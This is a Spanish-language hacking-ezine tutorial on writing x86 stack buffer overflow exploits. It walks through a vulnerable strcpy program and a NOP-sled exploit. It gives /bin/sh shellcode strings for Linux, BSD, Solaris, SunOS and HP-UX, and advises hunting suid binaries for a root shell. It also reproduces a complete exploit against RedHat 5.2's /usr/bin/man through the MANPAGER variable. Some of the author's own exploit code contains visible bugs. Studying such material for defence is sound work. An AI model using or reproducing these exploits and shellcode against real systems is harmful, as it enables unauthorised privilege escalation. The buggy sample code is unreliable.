Copy Link
Add to Bookmark
Report

0x0B: Stack Ovreflow Exploits

eZine's profile picture
Published in 
Systat Security Team
 · 3 Aug 2023

Este texto tratare de explicar lo mas claramente posible como crear nuestros propios exploits de desbordamiento de la pila, al principio esto te puede parecer un poco confuso, pero la verdad es que luego de darle vuelta un poco al tema te daras cuenta de que es muy facil.

Si tienes conocimientos basicos de ensamblador te sera muy facil entender todo, si no los tienes, no te preocupes que no me saltare la explicacion estandar de la pila y otros con las que empiezan todos los textos de este tema.

Este texto esta exclusivamente orientado a la familia de procesadores 80x86.


1) Un Programa.

Todo programa ejecutable, .exe o .com o cualquiera de ese estilo(en linux no hay .algo ;) ) tiene ciertas caracteristicas y se divide en segmentos. Los segmentos principales de un programa son:

CS (Code Segment)

Este es el segmento de memoria donde se almacenan las instrucciones que seran ejecutadas, pero esto no es el programa, ya que aqui no se guardan datos ni variables, o por lo menos no es usual.

DS (Date Segment)

Este es el segmento donde se almacenan los datos, como variables y ese tipo de cosas.

SS (Stack Segment)

Aqui llegamos al mas importante en este texto, el Stack.

Cuando un programa debe almacenar informacion para intercambio rapido o para pasar argumentos a una funcion utiliza el stack, nosotros solo lo analizaremos en el caso de las funciones.

Cuando llamamos a una funcion los argumentos se pasan en el Stack, y esto se hace de la siguiente manera:

llamada a la funcion en C:

funcion(arg1,arg2,agr3);

+ o - lo mismo en ASM:

  • PUSH arg3
  • PUSH arg2
  • PUSH arg1
  • call funcion

PUSH en assembler es decir mete en la pila tal cosa, todos los datos se pasan en orden inverso, esto es debido a que la pila podriamos comparala con una pila de platos, donde cada vez que pones un plato queda sobre el otro y es necesario sacarlo para poder sacar el que teniamos antes, me explico, si tengo el plato A y el B, si hago push A, pongo A en la pila, si luego hago push B, el plato B queda sobre A y para sacar A necesito hacer pop B antes(o sea, sacar B antes). Con los datos es igual.


Ahora que pasa realmente cuando llamamos a una funcion:

------------Ejemplo para explicar---------------------- 
char funcion()
{
}

main()
{
char variable[5];
funcion(variable[1]);
}
-------------------------------------------------------

Memoria

...variable [ 8 bytes ] -- SP [4 bytes] -- RET [4 bytes] -- arg [4 bytes]... 

SP (Stack Pointer)

Este es un puntero a la posicion actual de la pila.

RET

Este es un puntero a la posicion donde se debe retornar luego de ejecutar la funcion, y exactamente este es nuestro objetivo, queremos cambiar esta direccion para asi poder ejecutar codigo que nos de algo util, como podria ser una shell de r00t ;)

Como explotarlo

Tomemos el ejemplo mas clasico,

----------------------------------------- 
#include<string.h>

int main(int argc,char *argv[])
{
char buffer[1024];
if (argc > 1)
{
strcpy(buffer,argv[1]);
}
}
-----------------------------------------

Ahora este programa a simple vista es vulnerable ya que recibe un argumento y lo copia en la variable buffer, pero no comprueba el tamaño del argumento. Por lo que si pasaramos un argumento mayor a 1024 bytes, (8 bytes mas largos minimo) obtendriamos un hermoso "segmentation fault" lo que nos demostraria la vulnerabilidad del programa. Pero un error no nos sirve, nosotros necesitamos ejecutar una shell o algo asi, para conseguir root o subir nuestros privilegios. La exigencia que tiene que estar presente para que podamos sacar shell de root, es que el programa que vamos a explotar tenga el bit de suid activado, para buscarlos, puedes encontrar un script al final del texto

Sigamos con lo principal, como se codea el exploit.

Para codear el exploit necesitamos varias cosas:

  1. Saber el tamaño del buffer a pasar como argumento
  2. Saber el offset(desplazamiento)
  3. Una shellcode
  4. SP actual

1) Tamaño del buffer: no creo que haga falta explicacion de este, es la suma de todos los bytes de variables a partir de la que vas a desbordar, mas 8

Ejemplo

#include <string.h> 

void main(int argc, char * argv[])
{
char buffer[1024];
char buffer2[100];
if(argc>2)
strcpy(buffer,argv[1]);
}

en este caso la variable a desbordar es buffer, asi que el tamaño del buffer que debeos pasar es igual a 1024+100+8.

AVISO: En el stack se pasan de 4 bytes, por lo que si el buffer2 fuera de 99 bytes, debes pasar un argumento de 1024+100+8 igual.


2) Saber el offset: aqui lo ves en la parte practica, pero la verdad es que no se un metodo mejor que el que pongo ahi, si alguien lo sabe, porfavor mandeme un mail.

3) Shellcode: esta es una cadena en hexadecimal que contiene el codigo que queremos ejecutar, si quieres saber como hacer tu propio shellcode, puedes usar la utilidad que incluyo al final del texto, pero no es tan facil, ya que la shellcode no puede tener ceros, ya que se tomaria como fin de string, y bye con el desbordamiento. En todo caso el crear una shell code no es una tarea facil y ahi si debes saber ensamblador.

4) SP actual: Este es el puntero a la direccion actual del Stack, para obtenerlo solo usas una funcion, si entiendes assembler, la vas a entender, si no, no importa, te la explico.

u_long get_sp() 
{
__asm__("movl %esp,%eax");
}

/* En ensamblador se trabaja con los registros del procesador, en el registro que se devuelven los valores de retorno de las funciones es en AX y el registro SP es el puntero al Stack, en este caso esp es SP(32 bits) y eax(32 bits), ya que sin la e solo serian 16 bits. Y lo que hace la funcion es pedirle al compilador que ejecute esa linea en ensamblador, que lo que hace es copiar el valor de ESP en EAX y al salir de la funcion, se toma EAX como el retorno de la funcion, o sea, retorna el valor del puntero al Stack */

Ya tenemos lo elemental, en este texto usare la misma shellcode del texto que escribio Ytrium sobre los Stack Overflows, pero si quieres utilizar otra, puedes encontrar muchas en www.hack.co.za , y su uso es igual, a lo mas puede que cambie el offset.

 char shell[]= 
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

Comprobemosla

........................................................................ 

main()
{
char shell[]=
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";
void (* func)()=(void *) shell;

func();
}
.........................................................................

Funciona:
bash-2.03# pico shell.c
bash-2.03# gcc -o shell shell.c
bash-2.03# ./shell
sh-2.03#

Ya tenemos la shell, ahora vamos a ver que tal nos va con el exploit...

EL programa a explotar es el siguiente:

#include<string.h> 

int main(int argc,char *argv[])
{
char buffer[512];
if (argc > 1)
{
strcpy(buffer,argv[1]);
}
}

Exploit

Solo lo escribire, luego lo explico intruccion por instruccion.

#include <stdlib.h> 

char shell[]=
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

#define D_OFFSET 0
#define D_SIZE 612

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}


void main() {
char buffer[D_SIZE],*ptr_buffer;
long addr;
int offset= D_OFFSET
int bsize= D_SIZE;
int i;

addr = get_sp() - offset;

for (i = 0; i < bsize; i++)
*(ptr_buffer) = 0;

printf("Usando la direccion: 0x%x\n", addr);

ptr_buffer = buffer;

for (i = 0; i < bsize; i+=4)
*(ptr_buffer+4) = addr;

for (i = 0; i < bsize/2; i++)
buffer[i] = 0x90;

ptr_buffer = buffer + ((bsize/2) - (strlen(shell)/2));

for (i = 0; i < strlen(shell); i++)
*(ptr_buffer++) = shell[i];

buffer[bsize - 1] = 0;

execl("./vulnerable", "vulnerable", buffer, 0);

}

Este programa debiese explotar el programa vulnerable, pero antes habria que jugar un poco con el offset y el bsize, pero como sabemos que es verdad que podemos modificar el RET, facil hagamos esto:

void main() { 
char buffer[1000];
int x;
for(x=0;x<1000;x++)
buffer[x]='A';
buffer[1000]=0;
execl("./vulnerable","vulnerable",buffer,0);
}

Al ejecutar esto nos dara un core dumped, ejecuta "gdb ./vulnerable core" y te mostrara donde se produjo el error, te dira que se produjo al no encontrar la direccion 0x41414141 eso es porque el valor de A en hexadecimal es 0x41...ahi puedes ver que modificaste el valor de RET, ya que trato de retornar a la direccion que tu le pasastes.

Analizemos el programa:

#include <stdlib.h> 

char shell[]=
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

#define D_OFFSET 0
#define D_SIZE 612

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

Es la shellcode, la funcion get_sp y definicmos el oofset y el tamaño del buffer del exploit. Mas los includes.

void main() { 
char buffer[D_SIZE],*ptr_buffer;
long addr;
int offset= D_OFFSET
int bsize= D_SIZE;
int i;

Aqui comenzamos el programa y definimos las variables.

  addr = get_sp() - offset; 

printf("Usando la direccion: 0x%x\n", addr);

La direccion a la que queremos saltar es igual a la posicion actual de la pila menos el offset.

  ptr_buffer = buffer; 


for (i = 0; i < bsize; i++)
*(ptr_buffer) = 0;

que ptr_buffer apunte a buffer y dejamos a buffer entero a cero.

  for (i = 0; i < bsize; i+=4) 
*(ptr_buffer+4) = addr;

cada 0 bytes ponemos addr en nuestro buffer.

  for (i = 0; i < bsize/2; i++) 
buffer[i] = 0x90;

llenamos de NOPs (No operation) nuestro buffer hasta la mitad .

  ptr_buffer = buffer + ((bsize/2) - (strlen(shell)/2)); 

for (i = 0; i < strlen(shell); i++)
*(ptr_buffer++) = shell[i];

desde la mitad menos la mitad del largo de shell code, escribimos la shellcode en nuestro buffer.

  buffer[bsize - 1] = 0;

cerramos el string

  execl("./vulnerable", "vulnerable", buffer, 0);

ejecutamos el programa con nuestro buffer como argumento.

}

Con eso ya deberias tener la idea de como explotar un buffer overflow...
Por ultimo te dejo las shellcodes para los distintos sistemas y las get_sp() y nops correspondientes.

Al final agrego como buscar programas con el bit de suid y analizamos un overflow exploit un poco distinto.

sacadas de un texto de plasmoid (traducido por ipghost)

------------------------------------------------------------------------ 
linux/i80386+
-----------------------------------------------------------------------
codigo ensamblador:
~~~~~~~~~~~~~~
jmp end_of_code
execve: popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
end_of_code: call exec_prog
.string "/bin/sh\"

cadena para c:
~~~~~~~~~~~~~~~~~~
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

-----------------------------------------------------------------------
bsd/os/i80386+ and freebsd/i80386+
-----------------------------------------------------------------------
ensamblador:
~~~~~~~~~~~~~~~
jmp end_of_code
execve: popl %esi
leal (%esi), %ebx
movl %ebx, 0x0b(%esi)
xorl %edx, %edx
movl %edx, 7(%esi)
movl %edx, 0x0f(%esi)
movl %edx, 0x14(%esi)
movb %edx, 0x19(%esi)
xorl %eax, %eax
movb $59, %al
leal 0x0b(%esi), %ecx
movl %ecx, %edx
pushl %edx
pushl %ecx
pushl %ebx
pushl %eax
jmp bewm
end_of_code: call execve
.string '/bin/sh'
.byte 1, 1, 1, 1
.byte 2, 2, 2, 2
.byte 3, 3, 3, 3
bewm: .byte 0x9a, 4, 4, 4, 4, 7, 4

cadena para c:
~~~~~~~~~~~~~~~~~~
char execshell[]=
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";



-----------------------------------------------------------------------
solaris/sparc
-----------------------------------------------------------------------
ensamblador:
~~~~~~~~~~~~~~~
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8

cadena para c:
~~~~~~~~~~~~~~~~~~
char execshell[59]=
"0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90
0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03
0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf
0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x08,0x90,0x1b,0xc0,0x0f
0x82,0x10,0x20,0x01,0x91,0xd0,0x20,0x08"
;

version opcional:
char execshell[54]=
0x9fc0202c,0xc0247ff5,0xe227bff0,0xc027bff4,0x9207bff0,0x901d200a,
0x901a200a,0x8210203b,0x91d02008,0x82102001,0x91d02008,0xa3c3e004,
"/bin/sh";


-----------------------------------------------------------------------
sunos/sparc
-----------------------------------------------------------------------
ensamblador:
~~~~~~~~~~~~~~~
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1

cadena para c:
~~~~~~~~~~~~~~~~~~
char execshell[63]=
"0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90,
0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03,
0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,
0xfc,0x82,0x10,0x20,0x3b,0xaa,0x10,0x3f,0xff,0x91,0xd5,0x60,0x01,
0x90,0x1b,0xc0,0x0f,0x82,0x10,0x20,0x01,0x91,0xd5,0x60,0x01"
;

-----------------------------------------------------------------------
hp-ux9/hp9000
-----------------------------------------------------------------------
cadena para c:
~~~~~~~~~~~~~~~~~~
char execshell[]=
"\x34\x59\x01\x02\x34\x5a\x01\x32\x37\x5a\x3e\xf9\x6b\x3a\x3f\x01"
"\x63\x40\x3f\xff\x34\x5a\x01\x38\x63\x40\x3f\x35\x37\x5a\x3e\xf9"
"\x6b\x3a\x3f\x09\x63\x40\x3f\xff\x0b\x5a\x02\x9a\x6b\x3a\x3f\x11"
"\x34\x5a\x01\x22\x37\x5a\x3e\xf9\x6f\x3a\x3e\xf9\x20\x20\x08\x01"
"\x34\x16\x01\x1e\xe4\x20\xe0\x08\x36\xd6\x3e\xf9\x0b\x5a\x02\x9a"
"\x20\x20\x08\x01\x34\x16\x01\x0a\xe4\x20\xe0\x08\x36\xd6\x3e\xf9"
"\xe8\x5f\x1f\x35\x0b\x5a\x02\x9a\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x00/bin/sh";

¯apendice¯[¯B¯]
~~~~~~~~~~~
-----------------------------------------------------------------------
no operation - nop - para diferentes sistemas
-----------------------------------------------------------------------
linux/i80386+ - char nop[1]=0x90;
bsd/os/i80386+ and freebsd/i80386+ - char nop[1]=0x90;
procesador solaris/sparc - char nop[4]=0xac15a16e;
procesador sunos/sparc - char nop[4]=0xac15a16e;
hp-ux9/hp9000 - char nop[4]=0xac15a16e;

¯apendice¯[¯C¯]
~~~~~~~~~~~
-----------------------------------------------------------------------
linux/i80386+ y bsd/os/i80386+ y freebsd/i80386+
-----------------------------------------------------------------------
averiguando el puntero de la pila:
~~~~~~~~~~~~~~~~~~~~~~~~~
long get_sp()
{
__asm__("movl %esp,%eax");
}

-----------------------------------------------------------------------
procesador solaris/sparc y procesador sunos/sparc
-----------------------------------------------------------------------
averiguando el puntero de la pila:
~~~~~~~~~~~~~~~~~~~~~~~~~
long get_sp()
{
asm("or %sp, %sp, %i0");
}

##############################################

Para encontrar los archivos con el bit de suid solo usas el comando find man find para saber como usarlo y buscas ficheros que tengan +s.

EXPLOIT PARA MAN DE REDHAT 5.2

Pongo este exploit como ejemplo final, para que veas otras maneras de explotar los stack overflows.

/* 
* (c) 2000 babcia padlina / b0f
* (lcamtuf's idea)
*
* redhat /usr/bin/man exploit (gid=15 leads to potential root compromise)
*/


#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP 0x90
#define OFS 1800
#define BUFSIZE 4002
#define ADDRS 1000

long getesp(void)
{
__asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char *buf, *p;
int noplen, i, ofs;
long ret, *ap;

if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1)))
{
perror("malloc()");
return -1;
}

if (argc > 1)
ofs = atoi(argv[1]);
else
ofs = OFS;

noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;

memset(buf, NOP, noplen);
buf[noplen+1] = '\0';
strcat(buf, execshell);

p = buf + noplen + strlen(execshell);
ap = (unsigned long *)p;

for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;

p = (char *)ap;
*p = '\0';

fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf));

setenv("MANPAGER", buf, 1);
execl("/usr/bin/man", "man", "ls", 0);

return 0;
}

El codeo del exploit es relativamente el mismo, pero la diferencia viene aqui:

  setenv("MANPAGER", buf, 1); 
execl("/usr/bin/man", "man", "ls", 0);

esto se debe a que la variable que queremos desbordar es MANPAGER, la cual no se pasa en lso argumentos sino que es una variable de la shell, por lo que hacemos setenv("MANPAGER", buf, 1); para setiar la variable como nuestro buffer y luego ejecutamos man, el resultado es el mismo y el procedimiento tambien.

Espero que te haya sido de utilidad el texto,

Saludos
z0rbas
the-little@usa.net
www.systat.net

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT